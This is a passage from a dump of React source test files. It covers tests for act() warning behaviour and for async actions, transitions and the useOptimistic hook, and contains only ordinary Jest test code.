function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  function resolveText(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  async function withActEnvironment(value, scope) {\n    const prevValue = global.IS_REACT_ACT_ENVIRONMENT;\n    global.IS_REACT_ACT_ENVIRONMENT = value;\n    try {\n      return await scope();\n    } finally {\n      global.IS_REACT_ACT_ENVIRONMENT = prevValue;\n    }\n  }\n\n  it('warns about unwrapped updates only if environment flag is enabled', async () => {\n    let setState;\n    function App() {\n      const [state, _setState] = useState(0);\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n    await waitForAll([0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Default behavior. Flag is undefined. No warning.\n    expect(global.IS_REACT_ACT_ENVIRONMENT).toBe(undefined);\n    setState(1);\n    await waitForAll([1]);\n    expect(root).toMatchRenderedOutput('1');\n\n    // Flag is true. Warn.\n    await withActEnvironment(true, async () => {\n      setState(2);\n      assertConsoleErrorDev([\n        'An update to App inside a test was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* fire events that update state */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n          '    in App (at **)',\n      ]);\n      await waitForAll([2]);\n      expect(root).toMatchRenderedOutput('2');\n    });\n\n    // Flag is false. No warning.\n    await withActEnvironment(false, async () => {\n      setState(3);\n      await waitForAll([3]);\n      expect(root).toMatchRenderedOutput('3');\n    });\n  });\n\n  // @gate __DEV__\n  it('act warns if the environment flag is not enabled', async () => {\n    let setState;\n    function App() {\n      const [state, _setState] = useState(0);\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n    await waitForAll([0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    // Default behavior. Flag is undefined. Warn.\n    expect(global.IS_REACT_ACT_ENVIRONMENT).toBe(undefined);\n    act(() => {\n      setState(1);\n    });\n    assertConsoleErrorDev([\n      'The current testing environment is not configured to support act(...)',\n    ]);\n    assertLog([1]);\n    expect(root).toMatchRenderedOutput('1');\n\n    // Flag is true. Don't warn.\n    await withActEnvironment(true, () => {\n      act(() => {\n        setState(2);\n      });\n      assertLog([2]);\n      expect(root).toMatchRenderedOutput('2');\n    });\n\n    // Flag is false. Warn.\n    await withActEnvironment(false, () => {\n      act(() => {\n        setState(1);\n      });\n      assertConsoleErrorDev([\n        'The current testing environment is not configured to support act(...)',\n      ]);\n      assertLog([1]);\n      expect(root).toMatchRenderedOutput('1');\n    });\n  });\n\n  it('warns if root update is not wrapped', async () => {\n    await withActEnvironment(true, () => {\n      const root = ReactNoop.createRoot();\n      root.render('Hi');\n      assertConsoleErrorDev([\n        // TODO: Better error message that doesn't make it look like \"Root\" is\n        // the name of a custom component\n        'An update to Root inside a test was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* fire events that update state */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act',\n      ]);\n    });\n  });\n\n  // @gate __DEV__\n  it('warns if class update is not wrapped', async () => {\n    let app;\n    class App extends React.Component {\n      state = {count: 0};\n      render() {\n        app = this;\n        return <Text text={this.state.count} />;\n      }\n    }\n\n    await withActEnvironment(true, () => {\n      const root = ReactNoop.createRoot();\n      act(() => {\n        root.render(<App />);\n      });\n      app.setState({count: 1});\n      assertConsoleErrorDev([\n        'An update to App inside a test was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* fire events that update state */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n          '    in App (at **)',\n      ]);\n    });\n  });\n\n  // @gate __DEV__\n  it('warns even if update is synchronous', async () => {\n    let setState;\n    function App() {\n      const [state, _setState] = useState(0);\n      setState = _setState;\n      return <Text text={state} />;\n    }\n\n    await withActEnvironment(true, () => {\n      const root = ReactNoop.createRoot();\n      act(() => root.render(<App />));\n      assertLog([0]);\n      expect(root).toMatchRenderedOutput('0');\n\n      // Even though this update is synchronous, we should still fire a warning,\n      // because it could have spawned additional asynchronous work\n      ReactNoop.flushSync(() => setState(1));\n      assertConsoleErrorDev([\n        'An update to App inside a test was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that causes React state updates should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* fire events that update state */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act\\n' +\n          '    in App (at **)',\n      ]);\n\n      assertLog([1]);\n      expect(root).toMatchRenderedOutput('1');\n    });\n  });\n\n  // @gate __DEV__\n  // @gate enableLegacyCache\n  it('warns if Suspense retry is not wrapped', async () => {\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"Async\" />\n        </Suspense>\n      );\n    }\n\n    await withActEnvironment(true, () => {\n      const root = ReactNoop.createRoot();\n      act(() => {\n        root.render(<App />);\n      });\n      assertLog([\n        'Suspend! [Async]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [Async]',\n      ]);\n      expect(root).toMatchRenderedOutput('Loading...');\n\n      // This is a retry, not a ping, because we already showed a fallback.\n      resolveText('Async');\n      assertConsoleErrorDev([\n        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that resolves suspended data should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* finish loading suspended data */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act',\n\n        // pre-warming\n\n        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that resolves suspended data should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* finish loading suspended data */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act',\n      ]);\n    });\n  });\n\n  // @gate __DEV__\n  // @gate enableLegacyCache\n  it('warns if Suspense ping is not wrapped', async () => {\n    function App({showMore}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {showMore ? <AsyncText text=\"Async\" /> : <Text text=\"(empty)\" />}\n        </Suspense>\n      );\n    }\n\n    await withActEnvironment(true, () => {\n      const root = ReactNoop.createRoot();\n      act(() => {\n        root.render(<App showMore={false} />);\n      });\n      assertLog(['(empty)']);\n      expect(root).toMatchRenderedOutput('(empty)');\n\n      act(() => {\n        startTransition(() => {\n          root.render(<App showMore={true} />);\n        });\n      });\n      assertLog(['Suspend! [Async]', 'Loading...']);\n      expect(root).toMatchRenderedOutput('(empty)');\n\n      // This is a ping, not a retry, because no fallback is showing.\n      resolveText('Async');\n      assertConsoleErrorDev([\n        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\\n' +\n          '\\n' +\n          'When testing, code that resolves suspended data should be wrapped into act(...):\\n' +\n          '\\n' +\n          'act(() => {\\n' +\n          '  /* finish loading suspended data */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n' +\n          '\\n' +\n          \"This ensures that you're testing the behavior the user would see in the browser. \" +\n          'Learn more at https://react.dev/link/wrap-tests-with-act',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactAsyncActions-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertLog;\nlet useTransition;\nlet useState;\nlet useOptimistic;\nlet textCache;\nlet assertConsoleErrorDev;\n\ndescribe('ReactAsyncActions', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    global.reportError = error => {\n      Scheduler.log('reportError: ' + error.message);\n    };\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    useTransition = React.useTransition;\n    useState = React.useState;\n    useOptimistic = React.useOptimistic;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function getText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n      return thenable;\n    } else {\n      switch (record.status) {\n        case 'pending':\n          return record.value;\n        case 'rejected':\n          return Promise.reject(record.value);\n        case 'resolved':\n          return Promise.resolve(record.value);\n      }\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('isPending remains true until async action finishes', async () => {\n    let startTransition;\n    function App() {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return <Text text={'Pending: ' + isPending} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Pending: false']);\n    expect(root).toMatchRenderedOutput('Pending: false');\n\n    // At the start of an async action, isPending is set to true.\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        await getText('Wait');\n        Scheduler.log('Async action ended');\n      });\n    });\n    assertLog(['Async action started', 'Pending: true']);\n    expect(root).toMatchRenderedOutput('Pending: true');\n\n    // Once the action finishes, isPending is set back to false.\n    await act(() => resolveText('Wait'));\n    assertLog(['Async action ended', 'Pending: false']);\n    expect(root).toMatchRenderedOutput('Pending: false');\n  });\n\n  it('multiple updates in an async action scope are entangled together', async () => {\n    let startTransition;\n    function App({text}) {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return (\n        <>\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n          <span>\n            <Text text={text} />\n          </span>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App text=\"A\" />);\n    });\n    assertLog(['Pending: false', 'A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>A</span>\n      </>,\n    );\n\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        await getText('Yield before updating');\n        Scheduler.log('Async action ended');\n        startTransition(() => root.render(<App text=\"B\" />));\n      });\n    });\n    assertLog(['Async action started', 'Pending: true', 'A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A</span>\n      </>,\n    );\n\n    await act(() => resolveText('Yield before updating'));\n    assertLog(['Async action ended', 'Pending: false', 'B']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>B</span>\n      </>,\n    );\n  });\n\n  it('multiple async action updates in the same scope are entangled together', async () => {\n    let setStepA;\n    function A() {\n      const [step, setStep] = useState(0);\n      setStepA = setStep;\n      return <AsyncText text={'A' + step} />;\n    }\n\n    let setStepB;\n    function B() {\n      const [step, setStep] = useState(0);\n      setStepB = setStep;\n      return <AsyncText text={'B' + step} />;\n    }\n\n    let setStepC;\n    function C() {\n      const [step, setStep] = useState(0);\n      setStepC = setStep;\n      return <AsyncText text={'C' + step} />;\n    }\n\n    let startTransition;\n    function App() {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return (\n        <>\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n          <span>\n            <A />, <B />, <C />\n          </span>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('A0');\n    resolveText('B0');\n    resolveText('C0');\n    await act(() => {\n      root.render(<App text=\"A\" />);\n    });\n    assertLog(['Pending: false', 'A0', 'B0', 'C0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        setStepA(1);\n        await getText('Wait before updating B');\n        startTransition(() => setStepB(1));\n        await getText('Wait before updating C');\n        startTransition(() => setStepC(1));\n        Scheduler.log('Async action ended');\n      });\n    });\n    assertLog(['Async action started', 'Pending: true', 'A0', 'B0', 'C0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n\n    // This will schedule an update on B, but nothing will render yet because\n    // the async action scope hasn't finished.\n    await act(() => resolveText('Wait before updating B'));\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n\n    // This will schedule an update on C, and also the async action scope\n    // will end. This will allow React to attempt to render the updates.\n    await act(() => resolveText('Wait before updating C'));\n    assertLog([\n      'Async action ended',\n      'Pending: false',\n      'Suspend! [A1]',\n      // pre-warming\n      'Suspend! [B1]',\n      'Suspend! [C1]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n\n    // Progressively load the all the data. Because they are all entangled\n    // together, only when the all of A, B, and C updates are unblocked is the\n    // render allowed to proceed.\n    await act(() => resolveText('A1'));\n    assertLog([\n      'Pending: false',\n      'A1',\n      'Suspend! [B1]',\n      // pre-warming\n      'Suspend! [C1]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n    await act(() => resolveText('B1'));\n    assertLog(['Pending: false', 'A1', 'B1', 'Suspend! [C1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0, C0</span>\n      </>,\n    );\n\n    // Finally, all the data has loaded and the transition is complete.\n    await act(() => resolveText('C1'));\n    assertLog(['Pending: false', 'A1', 'B1', 'C1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>A1, B1, C1</span>\n      </>,\n    );\n  });\n\n  it('urgent updates are not blocked during an async action', async () => {\n    let setStepA;\n    function A() {\n      const [step, setStep] = useState(0);\n      setStepA = setStep;\n      return <Text text={'A' + step} />;\n    }\n\n    let setStepB;\n    function B() {\n      const [step, setStep] = useState(0);\n      setStepB = setStep;\n      return <Text text={'B' + step} />;\n    }\n\n    let startTransition;\n    function App() {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return (\n        <>\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n          <span>\n            <A />, <B />\n          </span>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App text=\"A\" />);\n    });\n    assertLog(['Pending: false', 'A0', 'B0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>A0, B0</span>\n      </>,\n    );\n\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        startTransition(() => setStepA(1));\n        await getText('Wait');\n        Scheduler.log('Async action ended');\n      });\n    });\n    assertLog(['Async action started', 'Pending: true', 'A0', 'B0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B0</span>\n      </>,\n    );\n\n    // Update B at urgent priority. This should be allowed to finish.\n    await act(() => setStepB(1));\n    assertLog(['B1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: true</span>\n        <span>A0, B1</span>\n      </>,\n    );\n\n    // Finish the async action.\n    await act(() => resolveText('Wait'));\n    assertLog(['Async action ended', 'Pending: false', 'A1', 'B1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Pending: false</span>\n        <span>A1, B1</span>\n      </>,\n    );\n  });\n\n  it(\"if a sync action throws, it's rethrown from the `useTransition`\", async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let startTransition;\n    function App() {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return <Text text={'Pending: ' + isPending} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <ErrorBoundary>\n          <App />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog(['Pending: false']);\n    expect(root).toMatchRenderedOutput('Pending: false');\n\n    await act(() => {\n      startTransition(() => {\n        throw new Error('Oops!');\n      });\n    });\n    assertLog(['Pending: true', 'Oops!', 'Oops!']);\n    expect(root).toMatchRenderedOutput('Oops!');\n  });\n\n  it(\"if an async action throws, it's rethrown from the `useTransition`\", async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let startTransition;\n    function App() {\n      const [isPending, _start] = useTransition();\n      startTransition = _start;\n      return <Text text={'Pending: ' + isPending} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <ErrorBoundary>\n          <App />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog(['Pending: false']);\n    expect(root).toMatchRenderedOutput('Pending: false');\n\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        await getText('Wait');\n        throw new Error('Oops!');\n      });\n    });\n    assertLog(['Async action started', 'Pending: true']);\n    expect(root).toMatchRenderedOutput('Pending: true');\n\n    await act(() => resolveText('Wait'));\n    assertLog(['Oops!', 'Oops!']);\n    expect(root).toMatchRenderedOutput('Oops!');\n  });\n\n  it('if there are multiple entangled actions, and one of them errors, it only affects that action', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let startTransitionA;\n    function ActionA() {\n      const [isPendingA, start] = useTransition();\n      startTransitionA = start;\n      return <Text text={'Pending A: ' + isPendingA} />;\n    }\n\n    let startTransitionB;\n    function ActionB() {\n      const [isPending, start] = useTransition();\n      startTransitionB = start;\n      return <Text text={'Pending B: ' + isPending} />;\n    }\n\n    let startTransitionC;\n    function ActionC() {\n      const [isPending, start] = useTransition();\n      startTransitionC = start;\n      return <Text text={'Pending C: ' + isPending} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <>\n          <div>\n            <ErrorBoundary>\n              <ActionA />\n            </ErrorBoundary>\n          </div>\n          <div>\n            <ErrorBoundary>\n              <ActionB />\n            </ErrorBoundary>\n          </div>\n          <div>\n            <ErrorBoundary>\n              <ActionC />\n            </ErrorBoundary>\n          </div>\n        </>,\n      );\n    });\n    assertLog(['Pending A: false', 'Pending B: false', 'Pending C: false']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending A: false</div>\n        <div>Pending B: false</div>\n        <div>Pending C: false</div>\n      </>,\n    );\n\n    // Start a bunch of entangled transitions. A and C throw errors, but B\n    // doesn't. A and should surface their respective errors, but B should\n    // finish successfully.\n    await act(() => {\n      startTransitionC(async () => {\n        startTransitionB(async () => {\n          startTransitionA(async () => {\n            await getText('Wait for A');\n            throw new Error('Oops A!');\n          });\n          await getText('Wait for B');\n        });\n        await getText('Wait for C');\n        throw new Error('Oops C!');\n      });\n    });\n    assertLog(['Pending A: true', 'Pending B: true', 'Pending C: true']);\n\n    // Finish action A. We can't commit the result yet because it's entangled\n    // with B and C.\n    await act(() => resolveText('Wait for A'));\n    assertLog([]);\n\n    // Finish action B. Same as above.\n    await act(() => resolveText('Wait for B'));\n    assertLog([]);\n\n    // Now finish action C. This is the last action in the entangled set, so\n    // rendering can proceed.\n    await act(() => resolveText('Wait for C'));\n    assertLog([\n      // A and C result in (separate) errors, but B does not.\n      'Oops A!',\n      'Pending B: false',\n      'Oops C!',\n\n      // Because there was an error, React will try rendering one more time.\n      'Oops A!',\n      'Pending B: false',\n      'Oops C!',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Oops A!</div>\n        <div>Pending B: false</div>\n        <div>Oops C!</div>\n      </>,\n    );\n  });\n\n  it('useOptimistic can be used to implement a pending state', async () => {\n    const startTransition = React.startTransition;\n\n    let setIsPending;\n    function App({text}) {\n      const [isPending, _setIsPending] = useOptimistic(false);\n      setIsPending = _setIsPending;\n      return (\n        <>\n          <Text text={'Pending: ' + isPending} />\n          <AsyncText text={text} />\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    resolveText('A');\n    await act(() => root.render(<App text=\"A\" />));\n    assertLog(['Pending: false', 'A']);\n    expect(root).toMatchRenderedOutput('Pending: falseA');\n\n    // Start a transition\n    await act(() =>\n      startTransition(() => {\n        setIsPending(true);\n        root.render(<App text=\"B\" />);\n      }),\n    );\n    assertLog([\n      // Render the pending state immediately\n      'Pending: true',\n      'A',\n\n      // Then attempt to render the transition. The pending state will be\n      // automatically reverted.\n      'Pending: false',\n      'Suspend! [B]',\n    ]);\n\n    // Resolve the transition\n    await act(() => resolveText('B'));\n    assertLog([\n      // Render the pending state immediately\n      'Pending: false',\n      'B',\n    ]);\n  });\n\n  it('useOptimistic rebases pending updates on top of passthrough value', async () => {\n    let serverCart = ['A'];\n\n    async function submitNewItem(item) {\n      await getText('Adding item ' + item);\n      serverCart = [...serverCart, item];\n      React.startTransition(() => {\n        root.render(<App cart={serverCart} />);\n      });\n    }\n\n    let addItemToCart;\n    function App({cart}) {\n      const [isPending, startTransition] = useTransition();\n\n      const savedCartSize = cart.length;\n      const [optimisticCartSize, setOptimisticCartSize] =\n        useOptimistic(savedCartSize);\n\n      addItemToCart = item => {\n        startTransition(async () => {\n          setOptimisticCartSize(n => n + 1);\n          await submitNewItem(item);\n        });\n      };\n\n      return (\n        <>\n          <div>\n            <Text text={'Pending: ' + isPending} />\n          </div>\n          <div>\n            <Text text={'Items in cart: ' + optimisticCartSize} />\n          </div>\n          <ul>\n            {cart.map(item => (\n              <li key={item}>\n                <Text text={'Item ' + item} />\n              </li>\n            ))}\n          </ul>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App cart={serverCart} />));\n    assertLog(['Pending: false', 'Items in cart: 1', 'Item A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: false</div>\n        <div>Items in cart: 1</div>\n        <ul>\n          <li>Item A</li>\n        </ul>\n      </>,\n    );\n\n    // The cart size is incremented even though B hasn't been added yet.\n    await act(() => addItemToCart('B'));\n    assertLog(['Pending: true', 'Items in cart: 2', 'Item A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: true</div>\n        <div>Items in cart: 2</div>\n        <ul>\n          <li>Item A</li>\n        </ul>\n      </>,\n    );\n\n    // While B is still pending, another item gets added to the cart\n    // out-of-band.\n    serverCart = [...serverCart, 'C'];\n    // NOTE: This is a synchronous update only because we don't yet support\n    // parallel transitions; all transitions are entangled together. Once we add\n    // support for parallel transitions, we can update this test.\n    ReactNoop.flushSync(() => root.render(<App cart={serverCart} />));\n    assertLog([\n      'Pending: true',\n      // Note that the optimistic cart size is still correct, because the\n      // pending update was rebased on top new value.\n      'Items in cart: 3',\n      'Item A',\n      'Item C',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: true</div>\n        <div>Items in cart: 3</div>\n        <ul>\n          <li>Item A</li>\n          <li>Item C</li>\n        </ul>\n      </>,\n    );\n\n    // Finish loading B. The optimistic state is reverted.\n    await act(() => resolveText('Adding item B'));\n    assertLog([\n      'Pending: false',\n      'Items in cart: 3',\n      'Item A',\n      'Item C',\n      'Item B',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: false</div>\n        <div>Items in cart: 3</div>\n        <ul>\n          <li>Item A</li>\n          <li>Item C</li>\n          <li>Item B</li>\n        </ul>\n      </>,\n    );\n  });\n\n  it(\n    'regression: when there are no pending transitions, useOptimistic should ' +\n      'always return the passthrough value',\n    async () => {\n      let setCanonicalState;\n      function App() {\n        const [canonicalState, _setCanonicalState] = useState(0);\n        const [optimisticState] = useOptimistic(canonicalState);\n        setCanonicalState = _setCanonicalState;\n\n        return (\n          <>\n            <div>\n              <Text text={'Canonical: ' + canonicalState} />\n            </div>\n            <div>\n              <Text text={'Optimistic: ' + optimisticState} />\n            </div>\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<App />));\n      assertLog(['Canonical: 0', 'Optimistic: 0']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <div>Canonical: 0</div>\n          <div>Optimistic: 0</div>\n        </>,\n      );\n\n      // Update the canonical state. The optimistic state should update, too,\n      // even though there was no transition, and no call to setOptimisticState.\n      await act(() => setCanonicalState(1));\n      assertLog(['Canonical: 1', 'Optimistic: 1']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <div>Canonical: 1</div>\n          <div>Optimistic: 1</div>\n        </>,\n      );\n    },\n  );\n\n  it('regression: useOptimistic during setState-in-render', async () => {\n    // This is a regression test for a very specific case where useOptimistic is\n    // the first hook in the component, it has a pending update, and a later\n    // hook schedules a local (setState-in-render) update. Don't sweat about\n    // deleting this test if the implementation details change.\n\n    let setOptimisticState;\n    let startTransition;\n    function App() {\n      const [optimisticState, _setOptimisticState] = useOptimistic(0);\n      setOptimisticState = _setOptimisticState;\n      const [, _startTransition] = useTransition();\n      startTransition = _startTransition;\n\n      const [derivedState, setDerivedState] = useState(0);\n      if (derivedState !== optimisticState) {\n        setDerivedState(optimisticState);\n      }\n\n      return <Text text={optimisticState} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    assertLog([0]);\n    expect(root).toMatchRenderedOutput('0');\n\n    await act(() => {\n      startTransition(async () => {\n        setOptimisticState(1);\n        await getText('Wait');\n      });\n    });\n    assertLog([1]);\n    expect(root).toMatchRenderedOutput('1');\n  });\n\n  it('useOptimistic accepts a custom reducer', async () => {\n    let serverCart = ['A'];\n\n    async function submitNewItem(item) {\n      await getText('Adding item ' + item);\n      serverCart = [...serverCart, item];\n      React.startTransition(() => {\n        root.render(<App cart={serverCart} />);\n      });\n    }\n\n    let addItemToCart;\n    function App({cart}) {\n      const [isPending, startTransition] = useTransition();\n\n      const savedCartSize = cart.length;\n      const [optimisticCartSize, addToOptimisticCart] = useOptimistic(\n        savedCartSize,\n        (prevSize, newItem) => {\n          Scheduler.log('Increment optimistic cart size for ' + newItem);\n          return prevSize + 1;\n        },\n      );\n\n      addItemToCart = item => {\n        startTransition(async () => {\n          addToOptimisticCart(item);\n          await submitNewItem(item);\n        });\n      };\n\n      return (\n        <>\n          <div>\n            <Text text={'Pending: ' + isPending} />\n          </div>\n          <div>\n            <Text text={'Items in cart: ' + optimisticCartSize} />\n          </div>\n          <ul>\n            {cart.map(item => (\n              <li key={item}>\n                <Text text={'Item ' + item} />\n              </li>\n            ))}\n          </ul>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App cart={serverCart} />));\n    assertLog(['Pending: false', 'Items in cart: 1', 'Item A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: false</div>\n        <div>Items in cart: 1</div>\n        <ul>\n          <li>Item A</li>\n        </ul>\n      